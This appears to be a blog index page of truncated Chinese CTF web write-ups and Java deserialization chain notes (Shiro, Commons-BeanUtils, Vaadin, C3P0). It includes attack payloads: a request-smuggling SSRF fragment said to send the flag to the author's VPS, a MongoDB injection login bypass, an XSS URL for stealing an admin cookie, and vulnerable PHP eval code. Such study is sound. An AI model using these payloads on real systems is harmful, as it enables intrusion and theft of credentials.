sctf-web-2023
ezcheck1n题目
12345678910/hint提示是find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server去寻找flag在哪他看来有两个路由有P在配置文件中nss的考点中有
后端是 Server: Apache/2.4.54 (Debian) 中间件是 Server: Apache/2.4.55 (Unix)
这就是题目提示的两个容器的意思
但是试了一下 发现不行 就没往这方面想了 没想到的最后wp里还是用它
(就是在其基础上修改一下就行了)
题目就是提示了这几点 post指的是post.jpeg 然后就会看到下面的这个2022
(就是当时想不明白这个url有啥用。。。。。。。)
这里的url是用来ssrf然后将flag带出到自己的vps监听端口上
payload
1/2023/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET ...
java-shiro
参考文章1 参考视频 参考文章2
(主要看参考文章2)
Shiro简介Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Shiro-550反序列化漏洞漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本Apache Shiro < 1.2.4
Shiro反序列化的特征返回包中会包含rememb ...
java-Commons-BeanUtils
参考文章
最近就是想把不会的链子都跟一遍,现在就先打cb链入手
全称(Apache Commons BeanUtils)
这个链子还可以用来打shiro无依赖的链子
这个类可以任意触发getter和setter方法
环境搭建12345<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.4</version></dependency>
链子分析demo
123456789101112131415161718192021222324252627package org.example;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.InvocationTargetException;import static com ...
hsctf-web-2023
这里的写这个wp的原因是这里有几道题考察的是mongodb的注入
(之前没咋见过,都是做mysql的居多)
之前见过一次还是在 d3ctf里面见过
youtube———-wp
mogodb这是一个mogodb的查询语句
注入点就在这了
payload
1admin' || this.user==='a
这里的引号位置是为了闭合代码中的引号
因为这里使用了||语句 ,所以说只要存在一个用户名为admin的用户,我们就能成功登录
这里能成功是因为优先级的问题的 (非与或 优先级从大到小)
所以说这里会先执行&& 然后返回的结果在于||一起
fancy-page考点 xss
这里很奇怪 (别的题目可以打通的payload到这就不行了,国外的题好奇怪)
而且还有一点就是不能使用国内的vps来弹shell 只能使用专门接http返回信息的网站来做
这里的话就记录一下他的payload,下次打国际赛在遇到的时候就拿出来用
给的源码中就下面的最有用
123456789101112131415161718 ...
syctf-web-2023
4号的罗纳尔多题目代码
12345678910111213141516171819202122<?phperror_reporting(0);highlight_file(__FILE__);class evil{ public $cmd; public $a; public function __destruct(){ if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){ eval($this->cmd.'givemegirlfriend!'); } else { echo 'nonono'; } }} ...
陕西省赛—web-2023
参考文章
ezrce但是只做出了这道题目
和那个GXYCTF的禁止套娃差不多
123456789101112131415161718<?phperror_reporting(0);include 'waf.php';header("Content-Type:text/html;charset=utf-8");echo "你是谁啊哥们?把钥匙给我!!!!<br/>";$key=$_GET['key'];$name=$_POST['name'];$qaq=waf($_POST['qaq']);if (isset($_GET['key'])){ highlight_file(__FILE__);}if (isset($name)){ echo "你是".$name."大人????<br/>"; $name1=preg_replace( ...
java-vaadin
参考文章
Vaadin1Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。
又是一个没有听说过的平台框架。Vaadin 的反序列化调用链同样十分简单,依旧是使用反射调用 getter 方法的类来触发 TemplatesImpl 利用链,接下来看一下具体的调用点。
(这里写这个链子的原因是以为这个链子会是用反射来触发getter方法) —-> 可以考虑一下和fastjson共用
利用链分析先装一下maven依赖
12345<dependency> <groupId>com.vaadin</groupId> <artifactId>vaadin-server</artifactId> <version>7.7.14</version></dependency>
NestedMethodPropertycom.vaadin ...
justctf2023-web
eXtra Safe Security layers道题的考点是 xss和nodejs代码审计
首先他给了一个压缩包,是题目的源码
然后我们来进行分析
关键点在这
就是这里可以进行重新修改res.user的值
然后res.user的结构是这样的那么我们就可以修改
unmodifiable.background和一个 unmodifiable.CSP属性
然后又返回到这里,如果res.user.unmodifiable.CSP不为空的话就返回它,如果为空就返回defaultCSP
讲了这么多,最关键的地方来了
这里的话会对我们的unmodifiable.background进行渲染并且加载
结合之前我们知道的可以对 unmodifiable.background和一个 unmodifiable.CSP属性进行修改,然后左上角report一下,让机器人去访问这个页面,就可以拿到这个admin页面的cookie了
payload
http://xssl.web.jctf.pro/?text=hi&[unmodifiable][CSP]=a&[ ...
NSS-round13-web
flask?jwt?考察的是session伪造
(不写了,就是简单的session伪造)
flask?jwt?(hard,session伪造)考察的也是session伪造 只不过这里把key藏起来了,我们得去找到
这里的考点是通过报错来获取到secret_key
注册完后进行登录
提示你有这个/wor目录
告诉你了登录时间(那么我们就去找一下登录时间是从哪获取的)
然后我们尝试去删除一点点cookie的值使其报错
报错之后查看到的信息不全面,那么我们就去拿bp进行发包查看
然后就拿到secret_key了 那么我们就接着去重新构造一个cookie就行了
这里有个问题就是要把时间戳给删掉,,不然会构造失败
MyWeb题目描述:试试我的JSON解析工具。
json的解释
实际存储的json是这样的 输出的时候
然后进行测试一下看传入的json是咋样的
然后看本地存储的样子
这样我们就理解了这个json存储的过了,那么我们就可以进行构造来绕过了
解题题目代码
12345678910111213141516<?phperror_reporting(E_ALL ...
Java安全之C3P0链利用与分析
参考文章
前言C3P0是JDBC的一个连接池组件
JDBC
“JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。”
连接池
“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”
C3p0
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring ...